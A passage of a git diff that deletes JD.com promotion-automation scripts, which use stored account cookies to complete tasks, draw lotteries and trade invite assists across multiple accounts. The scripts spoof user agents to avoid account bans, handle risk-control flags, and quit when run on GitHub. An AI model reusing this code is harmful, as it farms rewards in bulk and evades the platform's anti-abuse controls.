错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nian_wechat.js b/activity/jd_nian_wechat.js deleted file mode 100644 index 693eced..0000000 --- a/activity/jd_nian_wechat.js +++ /dev/null @@ -1,334 +0,0 @@ -/* -京东炸年兽小程序🧨 -强烈推荐使用自定义的小程序UA防止黑号 -活动时间:2021-1-18至2021-2-11 -暂不加入品牌会员 -活动入口: 京东小程序-炸年兽 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东炸年兽小程序🧨 -50 8 * * * jd_nian_wechat.js, tag=京东炸年兽小程序🧨, enabled=true - -================Loon============== -[Script] -cron "50 8 * * *" script-path=jd_nian_wechat.js,tag=京东炸年兽小程序🧨 - -===============Surge================= -京东炸年兽小程序🧨 = type=cron,cronexp="50 8 * * *",wake-system=1,timeout=3600,script-path=jd_nian_wechat.js - -============小火箭========= -京东炸年兽小程序🧨 = type=cron,script-path=jd_nian_wechat.js, cronexpr="50 8 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东炸年兽小程序🧨'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdNian() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdNian() { - try { - await getHomeData() - if(!$.secretp) return - await $.wait(2000) - await getTaskList() - await $.wait(1000) - await doTask() - await $.wait(2000) - await getHomeData(true) - await showMsg() - } catch (e) { - $.logErr(e) - } -} -function encode(data, aa, extraData) { - const temp = { - "extraData": JSON.stringify(extraData), - "businessData": JSON.stringify(data), - "secretp": aa, - } - return { "ss": (JSON.stringify(temp)) }; -} -function getRnd() { - return Math.floor(1e6 * Math.random()).toString(); -} -function showMsg() { - return new Promise(resolve => { - console.log('任务已做完!\n如有未完成的任务,请多执行几次。注:目前入会任务不会做') - console.log('如出现taskVos错误的,请更新USER_AGENTS.js或使用自定义UA功能') - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - if (new Date().getHours() === 23) { - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -async function doTask() { - for (let item of $.taskVos) { - if (item.taskType === 9) { - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`) - for (let task of item.shoppingActivityVos) { - if (task.status === 1) { - await collectScore(item.taskId, task.itemId, 1); - await $.wait(10*1000) - await collectScore(item.taskId, task.itemId); - } - } - } else if(item.status===2){ - console.log(`${item.taskName}已做完`) - } - } - } -} - -function getHomeData(info=false) { - return new Promise((resolve) => { - $.get(taskUrl('nian_getHomeData',{"inviteId":"","channel":1}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - $.userInfo = data.data.result.homeMainInfo - $.secretp = $.userInfo.secretp; - if(!$.secretp){ - console.log(`账号被风控`) - message += `账号被风控,无法参与活动\n` - $.secretp = null - return - } - console.log(`当前爆竹${$.userInfo.raiseInfo.remainScore}🧨,升级需要${$.userInfo.raiseInfo.nextLevelScore-$.userInfo.raiseInfo.curLevelStartScore}🧨`) - - if(info) { - message += `当前爆竹${$.userInfo.raiseInfo.remainScore}🧨\n` - } - } - else{ - $.secretp = null - console.log(`账号被风控,无法参与活动`) - message += `账号被风控,无法参与活动\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function collectScore(taskId,itemId,actionType=null,inviteId=null,shopSign=null) { - let temp = { - "taskId": taskId, - "rnd": getRnd(), - "inviteId": "-1", - "stealId": "-1" - } - if(itemId) temp['itemId'] = itemId - if(actionType) temp['actionType'] = actionType - if(inviteId) temp['inviteId'] = inviteId - if(shopSign) temp['shopSign'] = shopSign - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - let body = { - ...encode(temp, $.secretp, extraData), - taskId:taskId, - itemId:itemId - } - if(actionType) body['actionType'] = actionType - if(inviteId) body['inviteId'] = inviteId - if(shopSign) body['shopSign'] = shopSign - return new Promise(resolve => { - $.get(taskUrl("nian_collectScore", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data.data.bizCode === 0) { - if(data.data.result.score) - console.log(`任务完成,获得${data.data.result.score}爆竹🧨`) - // $.userInfo = data.data.result.userInfo; - } - else{ - console.log(data.data.bizMsg) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getTaskList() { - return new Promise(resolve => { - $.get(taskUrl("nian_getTaskDetail", {"appSign":"2","channel":1}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - $.taskVos = data.data.result.taskVos;//任务列表 - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskUrl(function_id, body = {}) { - let url = `${JD_API_HOST}`; - body = `?dev=nian_getHomeData&sceneval=&callback=${function_id}&functionId=${function_id}&client=wh5&clientVersion=1.0.0&uuid=-1&body=${escape(JSON.stringify(body))}&loginType=2&loginWQBiz=businesst1&g_ty=ls&g_tk=642524613` - return { - url:`${url}${body}`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_WECHAT_USER_AGENT ? process.env.JD_WECHAT_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUAWECHAT') ? $.getdata('JDUAWECHAT') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_WECHAT_USER_AGENT ? process.env.JD_WECHAT_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUAWECHAT') ? $.getdata('JDUAWECHAT') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_party_night.js b/activity/jd_party_night.js deleted file mode 100644 index 2340403..0000000 --- a/activity/jd_party_night.js +++ /dev/null @@ -1,232 +0,0 @@ -/* -沸腾之夜 -开启预约活动得0.18元红包,得到五个助力后,得1.58元红包 -内部账号自己相互助力,一个账号3次助力机会。 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#沸腾之夜 -0 15-19/1 * * * jd_party_night.js, tag=沸腾之夜, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "0 15-19/1 * * *" script-path=jd_party_night.js,tag=沸腾之夜 - -===============Surge================= -沸腾之夜 = type=cron,cronexp="0 15-19/1 * * *",wake-system=1,timeout=3600,script-path=jd_party_night.js - -============小火箭========= -沸腾之夜 = type=cron,script-path=jd_party_night.js, cronexpr="0 15-19/1 * * *", timeout=3600, enable=true - */ -const $ = new Env('沸腾之夜'); -const notify = $.isNode() ? require('../sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -$.inviteCodeList = []; -let cookiesArr = [ -]; - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < 5; i++) { - console.log(`开始第${i+1}次抽奖`); - for (let i = 0; i < cookiesArr.length; i++) { - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - await partyNight(); - if(cookiesArr.length>5){ - await $.wait(1500); - }else{ - await $.wait(5000); - } - } - } - - // //助力------------------------- - // for (let i = 0; i < cookiesArr.length; i++) { - // $.index = i + 1; - // $.cookie = cookiesArr[i]; - // $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - // console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - // $.canHelp = true; - // for (let j = 0; j < $.inviteCodeList.length && $.canHelp; j++) { - // await $.wait(2000); - // $.oneInviteInfo = $.inviteCodeList[j]; - // if($.oneInviteInfo.use === $.UserName){ - // continue; - // } - // if($.oneInviteInfo.max){ - // continue; - // } - // $.inviteCode = $.oneInviteInfo.inviteCode; - // console.log(`${$.UserName}去助力${$.oneInviteInfo.use},助力码:${$.inviteCode}`) - // await takePostRequest('partyTonight_assist'); - // } - // //await $.wait(3000); - // } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function partyNight(){ - // $.mainInfo = {}; - // await takePostRequest('partyTonight_init'); - // if(JSON.stringify($.mainInfo) === '{}'){ - // return ; - // }else { - // console.log('获取活动信息成功'); - // } - - $.runFlag = true; - //for (let i = 0; i < 10 && $.runFlag; i++) { - - await takePostRequest('partyTonight_lottery'); - //await $.wait(5000); - //} - //预约 - //await $.wait(2000); - //await takePostRequest('partyTonight_remind'); -} - -async function takePostRequest(type) { - let body = ``; - let myRequest = ``; - switch (type) { - case 'partyTonight_init': - body = `functionId=partyTonight_init&body={}&client=wh5&clientVersion=1.0.0&uuid=`; - myRequest = getPostRequest(`partyTonight_init`, body); - break; - case 'partyTonight_remind': - body = `functionId=partyTonight_remind&body={}&client=wh5&clientVersion=1.0.0&uuid=`; - myRequest = getPostRequest(`partyTonight_remind`, body); - break; - case 'partyTonight_assist': - body = `functionId=partyTonight_assist&body={"inviteCode":"${$.inviteCode}"}&client=wh5&clientVersion=1.0.0&uuid=`; - myRequest = getPostRequest(`partyTonight_assist`, body); - break; - case 'partyTonight_lottery': - body = `functionId=partyTonight_lottery&body={}&client=wh5&clientVersion=1.0.0&uuid=`; - myRequest = getPostRequest(`partyTonight_lottery`, body); - break; - default: - console.log(`错误${type}`); - } - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - dealReturn(type, data); - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function dealReturn(type, data) { - try { - data = JSON.parse(data); - } catch (e) { - console.log(`返回异常:${data}`); - return; - } - switch (type) { - case 'partyTonight_init': - if (data.code === 0 && data.data && data.data.bizCode === 0) { - $.mainInfo = data.data.result; - $.inviteCode = $.mainInfo.inviteCode; - console.log(`邀请码:${$.inviteCode}`); - if($.mainInfo.assistStatus === 4){ - console.log(`助力已满`); - }else{ - $.inviteCodeList.push( - { - 'inviteCode':$.inviteCode, - 'use':$.UserName, - 'max':false - } - ) - } - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'partyTonight_remind': - if (data.code === 0 && data.data && data.data.bizCode === 0) { - console.log(`预约成功,获得:${data.data.result.remindRedPacketValue}`) - }else if(data.code === 0 && data.data && data.data.bizCode === -201){ - console.log(JSON.stringify(data.data.bizMsg)); - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'partyTonight_assist': - if (data.code === 0 && data.data && (data.data.bizCode === -303 || data.data.bizCode === -1001)) { - $.canHelp = false - }else if (data.code === 0 && data.data && data.data.bizCode === -304) { - $.oneInviteInfo.max = true; - } - console.log(JSON.stringify(data)); - break; - case 'partyTonight_lottery': - if (data.code === 0 && data.data && data.data.bizCode === 0) { - let result = data.data.result; - if(result.type === 1){ - console.log(`获得红包:${result.hongbaoValue}`); - }else if(result.type === 2){ - console.log(`获得优惠券:`); - }else if(result.type === 3){ - console.log(`获得京豆:${result.beanCount}`); - }else{ - console.log(JSON.stringify(data)); - } - }else { - $.runFlag = false; - console.log(JSON.stringify(data)); - } - break; - default: - } -} - -function getPostRequest(type, body) { - const url = `https://api.m.jd.com/`; - const method = `POST`; - const headers = { - 'Accept' : `application/json, text/plain, */*`, - 'Origin' : `https://h5static.m.jd.com`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Cookie' : $.cookie, - 'Content-Type' : `application/x-www-form-urlencoded`, - 'Host' : `api.m.jd.com`, - 'Connection' : `keep-alive`, - 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer' : `https://h5static.m.jd.com/babelDiy/Zeus/qEfNdq9oRsJfhYJ7XR1EahyLt9L/index.html`, - 'Accept-Language' : `zh-cn` - }; - return {url: url, method: method, headers: headers, body: body}; -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return 